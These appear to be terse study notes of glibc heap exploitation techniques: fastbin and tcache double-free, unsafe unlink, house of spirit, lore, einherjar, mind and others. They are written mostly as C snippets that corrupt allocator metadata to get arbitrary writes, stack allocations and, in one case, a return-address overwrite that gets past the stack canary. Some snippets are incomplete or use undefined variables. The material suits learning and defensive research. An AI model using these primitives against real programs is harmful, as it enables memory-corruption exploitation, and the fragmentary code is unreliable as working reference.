fastbin_dup
prerequisites
advantages
- can write to arbitrary address
free(a);
// free(a); // would crash here
free(b);
free(a);
c = malloc();
d = malloc();
//heap is allocated and in the bins at the same time
e = malloc();
assert(c == e);
fastbin_dup_into_stack
free(heap);
free(a);
free(heap);
//double free
heap = malloc();
c = malloc();
//heap chunk is allocated and in the bins at the same time
unsigned long stack[4];
stack[1] = 0x20;
heap[0] = (heap >> 12) ^ &stack[2]; //control the next pointer to point to stack variable
heap = malloc(); // HEAD pointer points to stack variable
vuln = malloc(); // get the stack allocation
assert(vuln == &stack_var[2]);
fastbin_dup_consolidate (idk)
#define CHUNK_SIZE 0x400
//---
void *ptr[7];
void *p1 = malloc(0x40);
free(p1); // to fastbin
void *p2 = malloc(CHUNK_SIZE); // trigger consolidate
assert(p1 == p2);
free(p1); // vulnerability (double free)
void *p3 = malloc(CHUNK_SIZE);
assert(p3 == p2);
unsafe_unlink
int malloc_size = 0x420; //we want to be big enough not to use tcache or fastbin
int header_size = 2;
chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
//fake free chunk inside chunk0
chunk0_ptr[1] = chunk0_ptr[-1] - 0x10; //prev_size
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3); //fd points to stack
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2); //bk points to stack
uint64_t *chunk1_hdr = chunk1_ptr - header_size; //get chunk1 header
chunk1_hdr[0] = malloc_size; //prev_size
chunk1_hdr[1] &= ~1; //clear inuse bit
free(chunk1_ptr); // then, chunk0_ptr no longer points to heap
// unlink in the background
// chunk0_ptr = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2)
// chunk0_ptr = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
// yes, its overwritten twice
char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string; // chunk0_ptr = victim_string
chunk0_ptr[0] = 0x4141414142424242LL;
assert(*(long *)victim_string == 0x4141414142424242L);
house_of_spirit
long fake_chunks[10] __attribute__((aligned(0x10)));
fake_chunks[1] = 0x40; // size
fake_chunks[9] = 0x1234; // nextsize
void *victim = &fake_chunks[2];
free(victim); //to fastbin
void *allocated = calloc(1, 0x30); //from fastbin
poison_null_byte
void *tmp = malloc(0x1);
void *heap_base = (void *)((long)tmp & (~0xfff));
size_t size = 0x10000 - ((long)tmp&0xffff) - 0x20; //to make fake address like 0x??0010
void *padding= malloc(size);
void *prev = malloc(0x500);
void *victim = malloc(0x4f0);
malloc(0x10);//barrier
void *a = malloc(0x4f0);
malloc(0x10);//barrier
void *b = malloc(0x510);
malloc(0x10);//barrier
puts("\ncurrent heap layout\n"
" ... ...\n"
"padding\n"
" prev chunk(addr=0x??0010, size=0x510)\n"
" victim chunk(addr=0x??0520, size=0x500)\n"
" barrier chunk(addr=0x??0a20, size=0x20)\n"
" a chunk(addr=0x??0a40, size=0x500)\n"
" barrier chunk(addr=0x??0f40, size=0x20)\n"
" b chunk(addr=0x??0f60, size=0x520)\n"
" barrier chunk(addr=0x??1480, size=0x20)\n");
// move them to the unsorted bin
free(a);
free(b);
free(prev);
malloc(0x1000); // move them from unsorted bin to the (sorted) largebin to reuse _nextsize as fd/bk later
void *prev2 = malloc(0x500); //reallocate prev
((long *)prev)[1] = 0x501; //construct fake chunk
*(long *)(prev + 0x500) = 0x500; //overwrite victim prev_size
void *b2 = malloc(0x510);
((char*)b2)[0] = '\x10';
((char*)b2)[1] = '\x00'; // b->fd <- fake_chunk (0x??0010) [from 0x??0a40 (a)]
void *a2 = malloc(0x4f0);
free(a2); // to unsorted bin
free(victim); //to unsorted bin: a->bck = victim
void *a3 = malloc(0x4f0);
((char*)a3)[8] = '\x10';
((char*)a3)[9] = '\x00'; // a->bk <- fake_chunk (0x??0010) [from 0x??0520 (victim)]
((char *)victim2)[-8] = '\x00';//overwrite victim prev_size (again)
free(victim); // to unsorted bin, consolidate (merge) with prev
void *merged = malloc(0x100); // 0x??0020, prev2 (0x??0010)
memset(merged, 'a', 0x80);
memset(prev2, 'c', 0x80);
assert(strstr(merged, "CCCCCCCCC"));
house_of_lore
intptr_t *stack_buffer_1[4] = {0};
intptr_t *stack_buffer_2[4] = {0};
void *fake_freelist[7][4];
intptr_t *victim = malloc(0x100);
// for tcache
void *dummies[7];
for (int i = 0; i < 7; i++)
dummies[i] = malloc(0x100);
intptr_t *victim_chunk = victim - 2;
// prepare the fake freelist
for (int i = 0; i < 6; i++) {
fake_freelist[i][3] = fake_freelist[i + 1];
}
fake_freelist[6][3] = NULL;
// sb1.fd = victim_chunk;
// sb1 -> victim_chunk
stack_buffer_1[0] = 0;
stack_buffer_1[1] = 0;
stack_buffer_1[2] = victim_chunk;
// sb1.bk = stack_buffer_2;
// sb2.fd = stack_buffer_1;
// sb2.bk = fake_freelist[0];
// ff0 <-> sb2 <-> sb1
stack_buffer_1[3] = (intptr_t *)stack_buffer_2;
stack_buffer_2[2] = (intptr_t *)stack_buffer_1;
stack_buffer_2[3] = (intptr_t *)fake_freelist[0];
//avoid the consolidation
void *p5 = malloc(1000);
// fill tcache
for (int i = 0; i < 7; i++)
free(dummies[i]);
// free victim to put it into the smallbin
free((void *)victim);
// idk
void *p2 = malloc(1200);
//------------VULNERABILITY-----------
// in the fastbin
victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack
//------------------------------------
// empty the tcache
for (int i = 0; i < 7; i++)
malloc(0x100);
// move the fake freelist into the tcache
void *p3 = malloc(0x100);
// get the stack allocated
char *p4 = malloc(0x100);
intptr_t sc = (intptr_t)win; // Emulating our in-memory shellcode
long offset = (long)__builtin_frame_address(0) - (long)p4;
memcpy(
(p4 + offset + 8), &sc,
8); // This bypasses stack-smash detection since it jumps over the canary
// sanity check
assert((long)__builtin_return_address(0) == (long)win);
overlaping_chunks
long *p1,*p2,*p3,*p4;
p1 = malloc(0x80 - 8);
p2 = malloc(0x500 - 8);
p3 = malloc(0x80 - 8);
memset(p1, '1', 0x80 - 8);
memset(p2, '2', 0x500 - 8);
memset(p3, '3', 0x80 - 8);
int evil_chunk_size = 0x581;
int evil_region_size = 0x580 - 8;
/* VULNERABILITY */
*(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2
/* VULNERABILITY */
free(p2);
p4 = malloc(evil_region_size); // overlapping chunk
// initially
printf("p4 = %s\n", (char *)p4);
printf("p3 = %s\n", (char *)p3);
// overwrite p3 via p4
memset(p4, '4', evil_region_size);
printf("p4 = %s\n", (char *)p4);
printf("p3 = %s\n", (char *)p3);
// overwrite p4 via p3
memset(p3, '3', 80);
printf("p4 = %s\n", (char *)p4);
printf("p3 = %s\n", (char *)p3);
overlaping_chunks2
intptr_t *p1,*p2,*p3,*p4,*p5,*p6;
unsigned int real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6;
int prev_in_use = 0x1;
//setup
p1 = malloc(1000);
p2 = malloc(1000);
p3 = malloc(1000);
p4 = malloc(1000);
p5 = malloc(1000);
real_size_p1 = malloc_usable_size(p1);
real_size_p2 = malloc_usable_size(p2);
real_size_p3 = malloc_usable_size(p3);
real_size_p4 = malloc_usable_size(p4);
real_size_p5 = malloc_usable_size(p5);
//fill
memset(p1,'A',real_size_p1);
memset(p2,'B',real_size_p2);
memset(p3,'C',real_size_p3);
memset(p4,'D',real_size_p4);
memset(p5,'E',real_size_p5);
free(p4);//fooling allocator for the free(p2) later
*(unsigned int *)((unsigned char *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2; //<--- BUG HERE // p2->size = 0x7e1 (before: 0x3f1)
free(p2);//to unsorted bin
p6 = malloc(2000); // overlapping chunk with p3
fprintf(stderr, "%s\n",(char *)p3);
memset(p6,'F',1500);
fprintf(stderr, "%s\n",(char *)p3);
mmap_overlaping_chunks
//setup
long long* top_ptr = malloc(0x100000);
long long* mmap_chunk_2 = malloc(0x100000);
long long* mmap_chunk_3 = malloc(0x100000);
printf("\nCurrent System Memory Layout \n" \
"================================================\n" \
"running program\n" \
"heap\n" \
"....\n" \
"third mmap chunk\n" \
"second mmap chunk\n" \
"LibC\n" \
"....\n" \
"ld\n" \
"first mmap chunk\n"
"===============================================\n\n" \
);
mmap_chunk_3[-1] = (0xFFFFFFFFFD & mmap_chunk_3[-1]) + (0xFFFFFFFFFD & mmap_chunk_2[-1]) | 2; // mmap_chunk_3->prev_size = 0x202002
free(mmap_chunk_3); //merge
long long* overlapping_chunk = malloc(0x300000);// overlapping chunk with mmap_chunk_2
int distance = mmap_chunk_2 - overlapping_chunk;//0x40000
overlapping_chunk[distance] = 0x1122334455667788;
assert(mmap_chunk_2[0] == overlapping_chunk[distance]);
house_of_einherjar
intptr_t stack_var[0x10];
intptr_t *target = NULL;
// choose a properly aligned target address
for(int i=0; i<0x10; i++) {
if(((long)&stack_var[i] & 0xf) == 0) {
target = &stack_var[i];
break;
}
}
intptr_t *a = malloc(0x38);
// construct fake chunk
a[0] = 0; // prev_size (Not Used)
a[1] = 0x60; // size
a[2] = (size_t) a; // fwd
a[3] = (size_t) a; // bck
uint8_t *b = (uint8_t *) malloc(0x28);
int real_b_size = malloc_usable_size(b);
uint8_t *c = (uint8_t *) malloc(0xf8);
uint64_t* c_size_ptr = (uint64_t*)(c - 8);
// VULNERABILITY
b[real_b_size] = 0; // c.prev_in_use = 0
// VULNERABILITY
size_t fake_size = (size_t)((c - sizeof(size_t) * 2) - (uint8_t*) a); // 0x60
*(size_t*) &b[real_b_size-sizeof(size_t)] = fake_size; // c.prev_size = 0x60
a[1] = fake_size; //just make sure
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++) {
x[i] = malloc(0xf8);
}
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++) {
free(x[i]);
}
free(c); //merge c, b and fake_chunk
intptr_t *d = malloc(0x158); //merged chunk
// tcache poisoning
uint8_t *pad = malloc(0x28);
free(pad);
free(b);
d[0x30 / 8] = (long)target ^ ((long)&d[0x30/8] >> 12); // d->fd = target(stack)
malloc(0x28); //head points to target
intptr_t *e = malloc(0x28); // stack address allocated
sysmalloc_int_free
new = malloc(PROBE); // PROBE: 0x10
top_size = new[(PROBE / SIZE_SZ) + 1]; // top_size: 0x20ce1
allocated_size = top_size - CHUNK_HDR_SZ - (2 * MALLOC_ALIGN) - CHUNK_FREED_SIZE;
allocated_size &= PAGE_MASK;
allocated_size &= MALLOC_MASK;
new = malloc(allocated_size); // allocated_size: 0xb60
top_size_ptr = &new[(allocated_size / SIZE_SZ)-1 + (MALLOC_ALIGN / SIZE_SZ)];
top_size = *top_size_ptr; // top_size: 0x20171
new_top_size = top_size & PAGE_MASK;
*top_size_ptr = new_top_size; // top_size: 0x00171 (corrupted)
old = new;
new = malloc(CHUNK_FREED_SIZE + 0x10); // allocated in a new segment of heap, freed the old rest one and put it into smallbins
old = new;
new = malloc(FREED_SIZE); // get the freed chunk from smallbins
tcache_poisoning
size_t stack_var[0x10];
size_t *target = NULL;
for(int i=0; i<0x10; i++) {
if(((long)&stack_var[i] & 0xf) == 0) {
target = &stack_var[i];
break;
}
}
intptr_t *a = malloc(128);
intptr_t *b = malloc(128);
free(a);
free(b);
b[0] = (intptr_t)((long)target ^ (long)b >> 12); // b->fd = target(stack)
malloc(128)
intptr_t *c = malloc(128); // stack address allocated
assert((long)target == (long)c);
tcache_house_of_spirit
malloc(1);
unsigned long long *a; //pointer that will be overwritten
unsigned long long fake_chunks[10]; //fake chunk region
fake_chunks[1] = 0x40; // this is the size
a = &fake_chunks[2];
free(a); // tree the fake chunk from stack into the tcache
void *b = malloc(0x30); // get the stack address
house_of_bootcake
intptr_t stack_var[4];
intptr_t *x[7];
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
x[i] = malloc(0x100);
}
intptr_t *prev = malloc(0x100);
intptr_t *a = malloc(0x100); //victim
malloc(0x10); //just padding
// fill tcache
for(int i=0; i<7; i++){
free(x[i]);
}
free(a); //to smallbin
free(prev); //merge (consolidate with a/victim)
malloc(0x100); //remove one chunk from tcache
/*VULNERABILITY*/
free(a);// a (victim) is already freed
/*VULNERABILITY*/
intptr_t *unsorted = malloc(0x100 + 0x100 + 0x10); // get merged chunk a and prev
unsorted[0x110/sizeof(intptr_t)] = ((long)a >> 12) ^ (long)stack_var; // tcache poisoning, a->fd = stack_var
a = malloc(0x100); // head points to stack_var
intptr_t *target = malloc(0x100); // stack address allocated
target[0] = 0xcafebabe;
assert(stack_var[0] == 0xcafebabe);
house_of_mind_fastbin
int HEAP_MAX_SIZE = 0x4000000;
int MAX_SIZE = (128*1024) - 0x100; // MMap threshold: https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L635
uint8_t* fake_arena = malloc(0x1000);
uint8_t* target_loc = fake_arena + 0x30;
uint8_t* target_chunk = (uint8_t*) fake_arena - 0x10;
printf("Set 'system_mem' (offset 0x888) for fake arena\n");
fake_arena[0x888] = 0xFF;
fake_arena[0x889] = 0xFF;
fake_arena[0x88a] = 0xFF;
uint64_t new_arena_value = (((uint64_t) target_chunk) + HEAP_MAX_SIZE) & ~(HEAP_MAX_SIZE - 1); // 0x555558000000
uint64_t* fake_heap_info = (uint64_t*) new_arena_value; // 0x555558000000
//Allocate until we reach a MAX_HEAP_SIZE offset
uint64_t* user_mem = malloc(MAX_SIZE);
while((long long)user_mem < new_arena_value){
user_mem = malloc(MAX_SIZE);
}
uint64_t* fastbin_chunk = malloc(0x50); // Size of 0x60
uint64_t* chunk_ptr = fastbin_chunk - 2; // Point to chunk instead of mem
// Fill the tcache
uint64_t* tcache_chunks[7];
for(int i = 0; i < 7; i++){
tcache_chunks[i] = malloc(0x50);
}
for(int i = 0; i < 7; i++){
free(tcache_chunks[i]);
}
fake_heap_info[0] = (uint64_t) fake_arena; // Setting the fake ar_ptr (arena)
chunk_ptr[1] = 0x60 | 0x4; // Setting the non-main arena bit
free(fastbin_chunk); // Trigger the madness
printf("Target Write at %p: 0x%llx\n", target_loc, *((unsigned long long*) (target_loc)));
assert(*((unsigned long *) (target_loc)) != 0);
decrypt_safe_linking
long decrypt(long cipher) {
long key = 0;
long plain;
for (int i = 1; i < 6; i++) {
int bits = 64 - 12 * i;
if (bits < 0)
bits = 0;
plain = ((cipher ^ key) >> bits) << bits;
key = plain >> 12;
printf("round %d:\n", i);
printf("key: %#016lx\n", key);
printf("plain: %#016lx\n", plain);
printf("cipher: %#016lx\n\n", cipher);
}
return plain;
}